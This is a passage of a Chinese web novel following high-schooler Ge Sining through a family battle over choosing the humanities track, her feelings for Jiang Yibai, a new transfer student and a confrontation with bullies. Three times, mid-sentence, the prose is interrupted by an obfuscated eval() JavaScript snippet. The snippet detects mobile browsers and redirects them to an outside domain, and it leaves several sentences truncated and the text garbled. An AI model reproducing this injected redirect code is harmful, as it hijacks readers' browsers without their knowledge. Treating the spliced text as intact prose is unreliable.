在过往的家庭矛盾中,王远意总是发挥着润滑油的作用。 但是这次有些不一样,他既没有劝葛天舒,也没有安慰葛思宁,有时候吃饭还能看见他发呆。 葛思宁知道,爸爸在思考事情。 至于思考什么,她模糊地有个认知,却不清楚具体。 又因为葛天舒的话,葛思宁憋着一口气,让自己忍住不搬救兵。 但她心里确信,王远意是支持她的。 京都的冬天很冷,葛思宁每天骑自行车去上学,一不小心就冻感冒了。 月考前她没有背完的政治提纲,刚好考到了两道大题,七八分拉开将近五十人,葛思宁拿到了入学以来最差的成绩。 葛天舒借此嘲笑她,她声嘶力竭地解释了理由,全然忘记了葛天舒是唯结果论者。 葛思宁受了委屈,闹得很厉害,她像失序的小兽一样质问葛天舒为什么要这样对待自己,难道她就没有犯错的机会吗? 然而葛天舒只是冷冷地看着她,说:“葛思宁,你马上就要十六岁了,应该明白会哭的孩子有糖吃这种手段没用了。” “你应该拿成绩和实力跟我谈判,而不是眼泪。” 她知道。葛思宁心想,我一直知道。 可你不是我的妈妈吗,你为什么舍得我难过。 晚上王远意送牛奶进来的时候,葛思宁还在抽噎。 他一如既往的说了几句叮嘱的话,葛思宁没有理会。 良久,王远意叹了口气,在床边坐下了,摸她哭到湿漉漉的头发。 “思宁,我知道你很痛。所以你有没有想过,你以坚硬的态度去面对生活给你的荆棘,反而落得一身伤痕。或许换个方式会更好呢?” 葛思宁猛地抬头,难以置信地望向他。 从小到大王远意明里暗里地偏袒她,一个眼神葛思宁就知道自己这次又侥幸过关。所以现在王远意不帮她了,不需要明说她也能意会。 葛思宁心如死灰,将王远意赶出房间。 爸爸握着她的肩膀企图让她冷静,可葛思宁一直在说:“我讨厌你!” “你为什么要一直顺着妈妈,你为什么不能出去工作?” “妈妈让哥哥走她走过的路,那我为什么不能走你走过的路?你为什么不支持我?难道因为你自己的人生不够精彩不够风光,所以就断定我也会碌碌无为吗!?” 这话一出来,彼此都愣住了。 葛思宁摔上门,企图用结束来逃避自己出口伤人的过失。 第二天早上,她忐忑地下楼,特地早起想要避开王远意,但还是被他抓到。 “我今天要值日,就不吃早饭了。”葛思宁撒谎。 “把面包和牛奶带上。” “学校里有卖。” “学校里的不是热的。” 王远意跟出来,把牛奶塞进她书包的隔层里。 他一如既往地温柔体贴。 可葛思宁知道,她让王远意伤心了。 她和母亲的战争还没有分出胜负,她就已经失去了于她而言很重要的城池。 这个认知让葛思宁十分挫败,她劝自己打起精神来,但怎么也调整不了心态。 她知道自己应该像个无畏的英雄一样冲锋陷阵,向敌人证明她可以凭借一己之力杀出重围。 但理想很丰满,现实却很骨感。 那次成绩下滑以后,她就再也上不去了。 重点高中竞争激烈,她本来就是吊车尾进来的,天资只能说一般,前期都是靠暑假的补习撑着。 高中的课程强度高,难度大,再加上季节萧瑟,葛思宁变得郁郁寡欢。 有一天回家,她发现葛朝越回来了。 难得的,他看见进门的葛思宁没有出言挑衅,还怜惜地说:“给你买了很多零食,放房间里了,你要吃我给你拿下来。” 葛思宁却没有一点心情,脱鞋,摇头:“不了,我上去写作业了。” 葛朝越目瞪口呆。 王远意在电话里和他说葛思宁状态不好,他还以为小孩厌学了。 现在看来,情况比厌学还糟糕。 葛思宁失眠严重,她偷偷买了安眠药吃。 今晚写作业写得太晚,她懒得吃了,倒头就睡,结果根本睡不到天亮。 她下楼倒水喝,听见葛朝越在阳台打电话。 “嗯。情况不是很好……唉,我都不知道怎么说。而且我根本不能理解啊,不就是文理分科这么件小事吗,我妈和我妹,甚至我爸,怎么就闹得这么僵呢?” 顿了顿,他似乎没辙了,提议:“江译白,你不是说上次我妹还问你化学题吗?你们还有联系吧?要不你来我家一趟,劝劝她?” 葛思宁听到这个名字,端着杯子跑上楼。 她无法堵住葛朝越的嘴,但是她私心希望江译白不要知道这些事。 因为她现在很落魄,几乎弹尽粮绝。 不过她内心还是藏着一点小期待,期待江译白会主动联系她,安慰一下她。 然而等了好几天,消息列表依旧空空如也。 葛思宁看着他的头像发呆,呆完了又开始学习。 她这段时间效率很差,但是上课看起来依旧很认真,班主任找她谈话,问她:“思宁,你知不知道有一个词语叫‘假努力’?” 又一次滑铁卢,引起了各科老师的关注,王远意被请到学校来,听完了情况以后,跟年级主任申请了两天假期,让葛思宁回家自习。 说是自习,葛思宁回教室拿书的时候,王远意却说不用了。 “这两天你就好好休息,什么也不要想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267293|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,放松一下,找找状态。” 葛思宁不敢看他,小声说:“可是这样我会落后很多。” 他们学校一轮复习开始得很早,所以高一高二的老师都在拼命赶课,她少上两天学,后果很严重。 王远意知道,但他认为:“人是需要喘气的。” 这件事葛天舒不同意,是他抗住了压力。 葛思宁想起自己说的那些话,越是享受王远意的好,越觉得自己不是东西。 - 她在家那两天,葛朝越经常给她打电话,或者发信息,净说些废话。 有一次葛思宁接起来,不等他开口就打断:“我很好,不劳您费心了!” 那边顿了顿,传来一声清朗的笑。 葛思宁眉心一跳,还没反应过来,就被他喊了一声。 “思宁。” 太久没有听到过这个人的声音,葛思宁一下子从讨厌的冬天回到那个燥热却充实的夏天。 她缓了缓才嗯了一声。 表面冷淡,其实心跳都快从嗓子眼里蹦出来了。 江译白等她应了才问,“最近过得好吗?” 而她记得她刚才说过,自己很好。 他不信。 葛思宁趴在书桌上,闷闷地回答:“你不是都知道么?” 她哥肯定都和他说了,甚至很大概率会添油加醋。 江译白显然认可她的腹诽,因为他说:“葛朝越的话不太可信。” 那我告诉你。 葛思宁说:“我不好。” 我很难过。 很颓废。 做什么都没劲。 “那你当我是个树洞,和我说一说,好不好?” 不知道为什么过去这么久了,江译白才来关心她。 但是葛思宁一直期待他的电话。 所以她愿意说。 她说她很迷茫,不知道自己现在抗争的事情究竟是对是错;她说她觉得自己很差劲,她身边没有一个同学为此苦恼,似乎每一个人都意志坚定,只有她状态下滑;她说她身边没有一个人支持她,她害怕孤军奋战。 她还在深思那个问题:我究竟是要做正确的选择,还是做想做的选择? 徐之舟没能回答她的问题,江译白给了她答案。 “思宁,绝对正确是不存在的,你想做的选择不一定是错误的选择。” “可是…”她听到这段话眼泪就掉下来,哽咽难藏,隔着手机才能流露的脆弱倾泻而出,“没有人支持我,也没有人帮我。” 她有些狡猾,把七分的委屈说成十分。 她希望江译白说“我支持你”,像从前总是无条件对她好一样。 可江译白说,“思宁,这不是以数量取胜的战役。” 你想要的胜利是战胜母亲的权威,还是为了梦想冲破阻碍呢? “但不管怎样,”他声音温柔,“勇敢的少女,前进吧。” 别纠结这些。 - 他的话像骆驼背上的最后一根稻草,让原本就想背水一战的葛思宁有了献祭的勇气。 文理分科的意愿表在期末前的最后一次月考出成绩后发了下来,葛思宁想也没想就填了文科。 班主任李老师找她聊天,倒也没说什么,只是学校领导暗地里想要增加理科班的数量,所以他走下面子工程。 李老师问她:“这是你和家长商量过的结果吧?” 葛思宁昧着良心说:“是。” 她忘了葛天舒在他们学校是有人脉的。 葛天舒知道了这件事,第一时间不是向她发难,而是大张旗鼓地到学校来兴师问罪。 葛思宁从教室跑到教师办公区,正好赶上她进门。 葛天舒用锐利的目光将她至上而下地扫了一遍,说:“葛思宁,没用的。如果我想要你转科,只是一句话的事。” 她走进会议室,和各个科目的老师聊了很久,还耽误了某个老师的一节课,于是那天半个高一都知道,葛思宁的家长来学校了。 年级主任不得不下场,绕是他见过那么多难缠的家长,在葛天舒面前也仍需打起十二分精神。 葛思宁不偏科,选文选理差别都不会太大,所以家长开到口了,趁着还没有分班,让葛思宁改意愿就是了。 多方压力并施,葛思宁不得不妥协。 那是她第一次鼓起那么大的勇气,也是第一次在豁出去以后失败,从此以后她明白很多事并不是尽力而为就能称心如意。 她忍着泪意改填,最后笔掉在地上,她失声痛哭。 葛天舒嫌丢人,目的已经达到,就说先带孩子回去了。有的事情需要好好谈谈。 “毕竟她没和家里人商量就选了文科,我们做父母的都很失望。” 于是老师们都知道葛思宁撒谎了,好学生的印象被打破,是葛天舒有意让她难堪,这是她给她的教训。 出了校门,葛天舒没有马上回家,而是打电话订座,中午要请人吃饭。 葛思宁看着姗姗来迟的副校长,面无表情。 他私底下告诉葛天舒,以葛思宁的平均成绩,选文科被分到重点班的概率会更大,且文科重点班的班主任已经钦定好了,是市里有名的特级教师。 葛天舒皱眉问:“那理科重点班的班主任呢?” 副校长说,“也是老教师。” 他没有多余的赘述,葛天舒就懂了,多半是个老混子。 期末考以后有一场家长会,是分科前的最后一次确认。 葛天舒松口了,让葛思宁填自己想填的。 “妈妈不阻止你了,开心么?” “这次顺着你了,以后要更加用功读书。” 葛思宁嗯了一声,没说什么。她已经习惯葛天舒的道貌岸然了,抬手写下名字,班级,文科。 葛天舒摸了摸她的手背,笑着说:“你啊你,真是个不达目的不罢休的孩子,这一点你和我很像。” 葛思宁突然明白,葛天舒从来没有在乎过输赢。 她是她的成果。 赢了是理所当然,输了也能证明葛思宁长大了。 尽管葛思宁在这场斗争中牺牲了她的勇气,浪费了很多时间,淌下了无数滴眼泪,煎熬在无数个失眠的夜晚里,葛天舒都认为是理所当然的。 葛思宁告诉自己,只要目的达到了就好。这一点她要向葛天舒学习。所有的牺牲都只是手段,而她正处于手无寸铁的年纪,能赢已经是运气加持。 而她释怀不了的是,替她的幼稚买单的人不止她自己,还有王远意。 在这个过程里,她伤害了她爱的人。 究其根本,恨来恨去,都怪她自己。 她开始痛恨自己的孩子气。 13. 第 13 章 葛思宁那年的新年愿望是:我希望自己可以成熟一点。 那时她认知里的成熟就是,穿暗色系的衣服,喜怒不形于色,只会说“哦”、“嗯”、“好”,以简练的语言克制自己暴躁的内心。 眼神呢,要冷淡。表情呢,要冷静。面对惊喜和意外,要一副“我就知道”或者“我能搞定”的样子。如果搞不定,也要装作波澜不惊。 她不再闹脾气了,和葛天舒说话也总是忍让,偶尔忍不住了,葛思宁会立马沉默。 不能还手的时候就不要接招,她不认为这很耻辱,因为这是她反抗的一部分。 其实愿望迟早都会实现的。 但她自认为在彻底自由之前,和妈妈的战争会一直持续,所以她非常心急。 沉不下心的十六岁,让这句话听起来像喊口号。 她费尽心思给自己营造了一种错觉,其实一戳就能破。 那年新年江译白来家里,她顶着个鸡窝头下楼,站在楼梯上和他一双笑眼对视上的时候,她拔腿就跑。 葛朝越马上发信息来嘲笑她:怎么了邋遢公主?下来拜年! 葛思宁突然意识到,自己其实一直都在装深沉。 她还是很在乎自己的形象,很在乎会不会丢脸,遇到意料之外的事情会被打个措手不及,会下意识逃避。 她忍不住问王远意:“爸爸,新的一年,你觉得我长大了吗?” 王远意看看她,说有啊。 “又长高了,好像又瘦了?” “我不是说这个,我是说心理。你没发现我现在很沉稳吗?” 连老师都夸她心态好,临考不乱,情绪稳定。 王远意听到“沉稳”这个词,思索了一下,点头。 葛思宁却觉得他敷衍。 而她偏偏最希望得到王远意的认可。 因为她愧疚。 王远意却说:“傻孩子,长大是需要过程的。哪有一下子就跳跃到下一个阶段的?” 葛思宁问那这个过程会有多长呢? 他说:“因人而异。但是思宁,爸爸有时候会希望你不要长大。” 葛思宁不明白为什么。 就像她还没有意识到自己渴求的成熟,其实是葛天舒的爱和认可一样,她太在乎她在乎的人对她的看法,太在乎自己是否具备优秀的条件,从而遗忘了自我,还有她的存在于爱她的人来说本来就是一种价值。 她跑得太快了,还一直在企图加速。 - 葛思宁开始思考人生意义,想不通的时候她会去骚扰徐之舟,徐之舟反问她:“你以后是想当哲学家吗?” 这句话有些阴阳怪气了!葛思宁生气过,但她知道徐之舟不是会阴阳的人,于是又原谅他了。 升入高二以后,课程更繁重了一些。 葛思宁没那么多时间发展兴趣爱好了,为了维持成绩,她把除了运动以外的课余活动都暂停了。 这样似乎很好,但是对她的眼睛不好。 开学不过两个月,她的度数就涨了。 她本来就有点近视,但是她不爱戴眼镜。因为她是油皮,戴眼镜的话镜框会粘在鼻梁上,久了会留印,会滑,总之特别不舒服。 王远意给她配了新的眼镜,三令五声地要她经常戴。她还小,视力不稳定,平时不戴眼镜看东西费劲,对眼睛不好。 葛思宁口头答应,其实心里根本不当回事。 某次座位轮换,她被调到了后排,有一天出门太急忘了拿眼镜,整个上午都在靠听觉活着。 大课间的时候她赶紧去给王远意打电话,王远意说他暂时走不开,不过他会找人送过去的。 葛思宁以为他找的人是同城快送。 老师叫她去校门口拿东西,她远远看到一个模糊颀长的身影在保安亭旁边的树下站着,朦胧的色块拼凑在一起,有种隐隐约约的美感。 走近了才发现,来的人是江译白。 葛思宁吓了一跳,下意识往回跑,但是抬脚就发现身后空空如也——她根本没地方可以躲。 课间一般没什么人会到校门口来,她站在大太阳底下,江译白一抬头就能看见她。 他也确实看见了。 “思宁。” “嗨……”葛思宁小跑回去。 她眯着眼,视力不好的时候其他感官也会退化,她清楚地记得现在不是假期,江译白怎么会出现在这里? 她认错人了吧?她认错人了吧! 江译白从书包里掏出一个眼镜盒,否定了葛思宁的猜想。 “我来这边办事,顺便拜访了一下你家里人。叔叔在修遮阳篷,所以让我来送眼镜。” 原来是这样。 葛思宁接过,她的手指在抖,她自己都没发现。 “谢谢啊……” “和我说什么谢谢?” “客气一下。” “……” “好吧。”他无奈地接受了,想了想,又说,“还以为一个多月没见,你又要和我绝交了。” 葛思宁捏着眼镜盒,没有一点要戴上眼镜的意思。 她害怕看清了江译白,自己会更不自在。 “我哪有。” “你不承认就算了。” 他一副‘你不承认我也没办法’的样子,“上次我们没打招呼就走了,给你发信息你也不回,生气了?” 葛思宁不想承认自己就是这么小心眼,瞪了他一眼,跳开话题。 “你来这边办什么事?” “入学手续。” “什么?” 他笑起来真的太耀眼了,葛思宁被这张唇红齿白的脸闪得眼睛都要瞎了,一时之间竟然没看穿他眼底闪烁着调侃。 “我退学了,来你们学校复读。” “……” “以后还要麻烦思宁学姐多多照顾了。” “你有病吧?” 葛思宁无语极了,怎么一把年纪了还开这么幼稚的玩笑? “我要回去了。”马上上课了。 江译白说好。 葛思宁走了,走出两步发现他跟在后面。 她又走两步,江译白果然跟在后面。 见她回头,江译白一脸无辜,还做了个“请”的手势,意思是你走啊。 葛思宁便继续往前走。 等走到办公区和教学区的分叉口时,她再回头,江译白已经不见了。 葛思宁在原地站了一会,等上课铃响了才离开。 回到班上的时候离上课还有三分钟,但是教室里依旧闹哄哄的。 邻座的女生看见葛思宁回来,贼眉鼠眼地朝她招了招手。 葛思宁走过去坐下,问:“怎么了?” “惊天大瓜!” “嗯?” “看看看。”她把头埋得很低,指了个方向。 葛思宁扭头,是教室另一边的窗角,那里聚集了几个看起来像观众的同学,而主角是一对微微脸红的男女。 那女生说:“就刚刚!小甲终于和小乙表白了!” 葛思宁知道班里一直在传他们的绯闻,但她没想到居然是真的,于是“哇”了一声。 挺平静的,但是对于葛思宁来说已经是大反应了。 女生八卦之魂更旺:“你都不知道你刚出去的时候,现场有多精彩,小丙他们一直起哄让他们亲一个。” “什么?”葛思宁微微皱眉,“这有点强人所难了吧。” “哎哟,这有什么。”女生想到什么,压低了声音,“上次有人撞见小甲送小乙回家了,然后在小巷里……他们……” 葛思宁并不想对此发表评价,但女生太热情了,她只能说:“我真没想到他们会在一起,我以为都是你们乱传的。” “怎么会?无风不起浪。你忘记啦?之前那个班级群事件!” 他们班有一个班级群,管理员是班长和副班长葛思宁,建立之初是用于传递老师发送的电子复习资料和假期任务。 后来不知道谁某天无聊,提出要团建,聚过一次以后群里就开始经常聊天。 不过考虑到有几个冷面班委在,所以大家都很老实。 直到某天晚上,小甲突然发了一句。 “宝贝我到家了。” 葛思宁是第二天早上才看到999+的群消息,但是她没有爬楼,扫了几眼就退出了。她对其他人的事一向不太感兴趣。 那段时间班上的氛围有点奇怪,小甲和小乙成为了明星人物,一举一动都被框在有色眼镜里。 葛思宁当时的想法是他们好惨,尤其是小乙。 然而现在,她才知道自己误解了,当事人说不定还特别享受那些聚焦的目光。 这是她第一次对“早恋”有了实感。 葛思宁却觉得,不是那么美好,甚至有点尴尬。 上课铃响了,课代表上去带读。 女生把书架起来,遮住一张写满羡慕的脸,反应和她截然不同。 她对葛思宁说:“好甜啊,我也好想有一个送我回家,叫我宝贝,还跟我报备的人。” 葛思宁抬高声音读书,假装没听见。 - 晚上她回到家拿出手机,才发现江译白十点左右给她发了微信。 100:[我回去了。] 葛思宁虽然是走读生,但是她这个学期申请了上晚自习,所以回到家已经晚上九点了。 她回了个问号。 宁:[?] 宁:[我没带手机上学,没看到。] 江译白秒回。 100:[我知道。] 100:[和你说一声。] 100:[这次就不算不告而别了吧?] 葛思宁莫名想到那句。 宝贝我到家了。 操。 葛思宁已经学会骂脏话了,她燥着一张脸,握着手机的指节绷得特别紧。 她在想什么? 葛思宁做了两个深呼吸才回:[你爱怎么说怎么说。] 她把手机抛到床上,去拿衣服洗澡。 结果拿完衣服回来,她又爬上床去捡手机,补充了一句。 [我没生气!] - 江译白说要回来复读的事情显然是逗她玩的,但是葛思宁还是忍不住想,他来学校办什么事。 她偷偷去套葛朝越的话。 宁:[在吗。] 葛朝越:[怎么了?小宁鱼。] 宁:[你可以立刻马上去死吗?] 葛朝越:[嘻嘻.jpg] 葛朝越:[说。] 宁:[江译白前几天来我们学校了。] 葛朝越:[so?] 葛朝越:[江译白是你叫的?] 宁:[他来干什么?] 葛朝越一个电话打过来,吓得葛思宁手机摔到桌子上。 权衡两秒,她还是接了。 “喂?” “你是不是最近闲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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徐之舟也不追问,和她讨论起教学进度的事情,最后很有礼貌地问:“你们文科班不是最近刚周测完吗?可不可以借你的数学卷子给我看看?” 文科和理科的数学考的不是同一套卷子,文科难度相对小一点,不过到时候都是全国卷,所以徐之舟想参考一下基础题和附加题。 葛思宁很爽快:“当然可以,我晚自习下课拿给你。” “谢谢。” “不用。” 真的要说,徐之舟算是她在学校里唯一的朋友。 葛思宁边走边分神想,虽然他们平时只是点头之交,分科前也没有相处过几次,甚至没什么共同话题,不是聊学习就是聊社团,但是人和人之间的磁场就是那么奇怪,合得来就是合得来。 去的路上途径光荣榜,葛思宁夹着尾巴走。 徐之舟心细如发,问她怎么了。 葛思宁说:“没什么。” 他猜,“你是因为这次掉了一名而不高兴?” “不是不是。”葛思宁否认,“是榜上的那张照片,学校把我拍得好难看。” 徐之舟点点头,一副“原来是这样”的样子。 葛思宁问他,“我这样说你会不会觉得我太在意外貌了?” 她最近额头上又冒了一颗痘,跑操的时候刘海会飞起来,她特别害怕被人看到。但是换做是初中的葛思宁,根本不在意。 所以她最近在思考,自己是不是变得太臭美了。 “爱美之心人人皆有。” “你就没有啊。” “我有。” 葛思宁放慢速度观察他,还真看不出来。 她站远了一点,想远观,结果刚退一步,脚边就砸下来一个篮球。 葛思宁吓了一跳,身后传来疯狂道歉的声音,她回头,一个男生小跑了过来。 后面有人在笑:“你小心一点啊!砸到人了怎么办?” 男生回头骂了句,“闭嘴啊。”又转过头来对葛思宁说,“对不起啊,你没事吧?” “没事……” 徐之舟走过来,把球递给他。 “卧槽,班长。”男生张大嘴。 徐之舟叮嘱他:“课间很多人从这里经过,你们打球小心点。” 男生显然怵他,连忙解释:“不是,不是我干的,是陈安远。” “那怎么是你来捡球?” “因为……我没防住……” 快赶不上开会时间了,葛思宁催促道:“算了,我也没受伤,我们快走吧。” 徐之舟:“嗯。” 男生讪笑着跑走,一边进场一边骂人,“陈安远,都怪你!” 葛思宁没忍住扭头看了球场一眼,正好捕捉到那个单手接住抛过来的篮球,而后投了一个漂亮三分的男生。 阳光眷恋他的容貌,将他黝黑的肤色踱上一层近似蜂蜜般的颜色,让他看起来有种诱人的感觉。 葛思宁感觉自己手好痒,好像有文想写。 她晃晃脑袋,把有色废料晃出去,好奇地问了徐之舟一句:“那是你们班的男生?怎么感觉从来没见他?” 徐之舟说:“上周转学来的。” 葛思宁很惊讶:“一来就进了你们班?” “他是他们本地的中考状元。” 葛思宁吸了口气,不由得多看了那个陈安远几眼。 14. 第 14 章 那段时间学校里很流行星座,葛思宁对此还蛮感兴趣的,顺带研究了很多玄学。 她变成一个很相信的缘分的人。 于是在第三次偶遇陈安远之后,她终于对这个转学短短半个月就已经闻名年级的风云人物产生了好奇。 不需要她打听,邻座女生张月已经迫不及待地要和她分享搜集来的信息。 “听说他高一的时候休学过一段时间,我们学校本来不想收他的,害怕影响升学率。虽然是中考状元,但是谁又能保证他到了高中还能保持势头呢?” “那为什么他还是入学了?” “考试啊!听我朋友说分数特别高,尤其是理综,都快满分了。所以他休学应该是有难言之隐,而不是厌学。” 葛思宁琢磨着“厌学”这个词语,也不怪别人这么想,毕竟陈安远长了一张社会人的脸。 在最在乎容貌的十几岁,学校里有男生还会去偷偷烫头。他倒好,光秃秃的一个圆寸,都能给老师当男生标准发型示范了。 “唉,但是架不住人家长得好啊。”张月叹了口气。 难得葛思宁会和她聊这些,张月兴致勃勃,说个没完:“我还听说,他家境不是很好,来这边读书是因为有亲人在这边……” “葛思宁。” 有人叫她。 班长在门口跟她招手,“老师找。” 张月的话被打断,显然有些不高兴。 她攥着葛思宁舍不得她走,“我猜肯定是校运会的事。” 葛思宁也有这种预感,但她总不能违抗皇命吧? 她扯开张月的手,视死如归地去了。 进到办公室,班主任已经把表准备好了。 葛思宁偷瞄了几眼,班长被报了跨栏和男子三千米。 “八百米和跳高,没问题吧?” 镜片后那双锐利的眼睛盯着她,葛思宁打了很久的草稿都用不上了——这根本不是商量。 她抿抿唇,还想争取一下,还没开口班主任就抬手。 “班上没几个女生身体素质比你好,你参加体育社团也拿过几次奖,校运会应该积极主动地为班集体争光才是。说实话思宁,我等了很久,没看到你主动申请项目还很纳闷。怎么,是最近身体不舒服吗?” 葛思宁吸了口气,心想不愧是特级教师,和她共处到现在已经一个半学期了,葛思宁还是不习惯她雷厉风行的作风。 有种完全剥夺人权的窒息感。 “没有。”最后她只能硬着头皮说。 填完表,班主任让她去把几个课代表叫过来。 葛思宁出了办公室,心情非常糟糕,因为她讨厌做恶人。 她的眼睛跟脑子一起飞走了,走路不看路,迎面撞上一个人。 “啊!”她大叫。 那人显然没想到别人撞自己还撞痛了,连忙问:“你没事吧?” 葛思宁捂着眼角说:“没事。” 结果抬头就看到陈安远那张放大的脸。 她心跳漏了一拍——被吓的。也可能是心虚,毕竟刚刚才说完他的八卦。 葛思宁虽然对他好奇,但是完全不想和他扯上什么关系。就算有机会认识,也不应该是这么尴尬的机会。 于是她飞速道歉,小跑着走了。 她一副见鬼的样子,陈安远看着她落荒而逃的背影,若有所思。 历史老师从后面姗姗来迟,碰到忙头苍蝇一样的葛思宁,大喊了一声她的名字:“葛思宁!别在走廊上追逐打闹!” 回头看见陈安远,又问他:“怎么不进去?不知道试卷放哪里是吧?” 陈安远嗯了一声,没反驳。 其实他是想起昨天江译白过来的时候说的那些话。 “怎么越长大越凶神恶煞了?” “你这样很容易吓到同学,还是把头发留长吧。” 文科班的试卷纷飞,历史老师自己也找了半天,一边找还一边和陈安远聊天:“虽然说学考的题目都是选择题,难度不大,但是也不能掉以轻心……对了,你以前历史学得怎么样?” … 校运会本来是定在周四周五,但是天气预报说周四下雨,于是校领导决定延期至周五周六。 学生那边哀嚎一片,好不容易能有个完整的周末,竟然就这样没了。 班主任稳定军心地说:“本来周六上午是要进行全年级小测的,现在变成体育课了,也算一种放松,同学们打起精神来!” 结果周四根本没有下雨。 葛思宁的项目都集中在周六,但是她周五还是得去围观,去当拉拉队。 累了一天放学回到家,想到第二天还得早起,顿时觉得人生没有一点希望了。 葛天舒见她垂头丧气的,说了一句:“你不是最喜欢运动了吗?怎么,这就不行了?” 葛思宁不理她。 王远意让她十分钟后下来吃饭,葛思宁进了房间就不想出去了。 浑身都是汗,她也没往床上躺,就靠在床边,伸手去摸枕头底下的手机。 还没摸到手机,就摸到一个东西,温热的,条状的,有点粗。 她惊悚地回头,发现葛朝越横着手臂躺在床上看着她。 葛思宁的尖叫贯彻整个房间,葛朝越赶紧捂住她的嘴,在楼下的询问里回复:“没什么!” “你放开我……靠,你有神经病啊……” 葛朝越惊讶地指着她:“你说脏话?”他的手指并回去,变成了巴掌,“你信不信我掌你的嘴?” 葛思宁不服气:“凭什么你能说我不能说?而且你的行为配得上我的言语,简单来说就是,你活该!” “牙尖嘴利。”葛朝越翻了个身,感觉越来越说不过她了,“当初就不应该让你读文科,小嘴天天叭叭叭的,你是小喇叭吗?” 葛思宁站起来用枕头去捂他的脸,“你才是喇叭!我每次给你打电话你都公放,你舍友肯定都知道你有妹妹,而且觉得你妹妹很傻笔了!” “葛思宁!”葛朝越坐起来,“你把刚才说的话再说一遍?傻什么?” 他认真起来,葛思宁还是有点害怕的,她捏紧自己的嘴,意思是不说了。 葛朝越这才偃旗息鼓,翻过身去玩手机。 葛思宁要他起来,“你躺我床上干嘛!把我的被子都睡臭了!” “给你惊喜啊。” “……那你觉得我刚才的反应够惊喜吗?起来!你到底回家干嘛!” 葛朝越伤心了,遥想之前葛思宁恨不得他周周都回来,现在却不欢迎他了。 妹长大了,不黏人了。 他擦了下不存在的眼泪,“我回来给你加油啊,你不是要校运会了吗?” “不需要。”葛思宁一点也不感动,扯着葛朝越的衣服让他下来。王远意叫吃饭了,她立马站好,开门,警告道,“给你三秒滚出来。” 葛朝越嘶了一声,觉得她越长大越跋扈刁蛮。 才多久没见,遣词造句都那么直接粗暴了? 葛思宁第二天的项目都挺累人的,更别提原本定好的接力成员里有一位同学在周五受伤请假了,班主任让她顶上。 偏偏接力赛和八百米还撞了,意思是她跑完八百还要去跑最后一棒! 光是想想都要晕过去了。 周六的太阳比前两天的还要大,葛思宁出门的时候还在想:如果今天没事,那她将拥有一个多么美好的周末。 越是这样想,她就越烦。 偏偏做准备运动的时候,还被她碰到了女子天团。 那四个女生聚在一起,坐在操场的阶梯上看着他们这个方向,边看还边讨论,脸上带着明晃晃的笑意,葛思宁听到背后其他班的男生在说她们好漂亮。 只有葛思宁知道,这一朵朵娇花全是食人花,说出来的话不堪入耳。 她心想还好已经分班了,不然如果后面的两年半都要和她们呆在一个集体里,得多难受。 一阵阵笑声传来,葛思宁翻了个白眼,换了个方向拉伸。 结果她一转过身,就听到了自己的名字。 “诶,那不是那个谁吗?之前我们班的……对啊,你知道她吧?什么,不知道?就是我们之前经常说的那个,女巨人啊……” 两米不到的距离,葛思宁又不是聋了,她听得清清楚楚。 她回头直视说话的那位,对方止住了话头,但是挑衅地回视她。 葛思宁在众目睽睽之下走过去,那四个人加旁听的女生皆是一愣。 她们其实经常故意当面说人坏话,不过受害者要么假装没听到,要么不敢上前争执,根本没有人会找她们算账。 一是因为她们抱团,一张嘴说不过四张嘴。二是她们的恶意明目张胆,似乎有什么后台。 就连以前的葛思宁也是如此,就算听到她们给她取外号、嘲笑她发育得未免太好了,也不会和她们正面杠上。 四人还以为她也是那种虚有其表的人,只长个子没有胆子,殊不知那时候的葛思宁只是忙于适应高中生活的节奏和分科的事情,懒得和她们计较而已。 今天这个天团正好就撞枪口上了。 葛思宁走过去,走到地面上,仰望阶梯上的四人,指了指刚才说话的那个:“你,下来。” 视线聚焦,讨论声四起,那人的手紧紧地捏着水杯,虚张声势地问:“干嘛?我们很熟吗?” 葛思宁耐心不多,“不熟你说我坏话?下来,我跟你好好聊聊。” “……聊什么?”女生心虚地看看同伴,同伴也是一脸无措。 “聊聊你们狐假虎威这么久,报团搞霸凌好不好玩。” 她声音清脆,在嘈杂的背景音下也十分清晰,周边逐渐有人围过来,观众越来越多了。 “神经病!”那人脸都红了,“我霸凌谁了?” 葛思宁指了指她旁边那个女生。 “你。” 对方被她的气场震慑,害怕地指指自己:“我?” “对。”葛思宁点头,“她刚才和你说我什么?” “……我不知道啊。” “她叫我女巨人是吗?” “……我真没听清。” “是、不、是?”葛思宁盯着她,一字一句地问。 女生吓坏了,她是知道葛思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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葛朝越服了,真是用心良苦啊。 “那你之前勤工俭学给他交学费生活费,老江都当看不见啊?你还是学生,他就要你承担这么大的担子……” 江译白更想叹气了:“他那是气急了。陈安远那时候跟他吵架,又说他不是亲爸,又说自己姓陈不姓江,说他妈走了他跟这个家还有什么关系。一副急于撇清关系的样子,太伤人了。” “那你也不知道从中调和。至少问你爸要阿远的学费啊,自己扛着,不辛苦?” “我是哥哥嘛。”江译白故意夹着声音恶心他,“如果有一天思宁需要我帮忙,我也义不容辞的。” 葛朝越呕了一声,做了个手势:“打住。你养孩子养上瘾、圣母心泛滥我不管,但你别在这乌鸦嘴。你都不知道我昨天回家那死丫头是怎么和我说话的,我估计她叛逆起来比陈安远更可怕。” 江译白并不苟同。 思宁乖着呢。 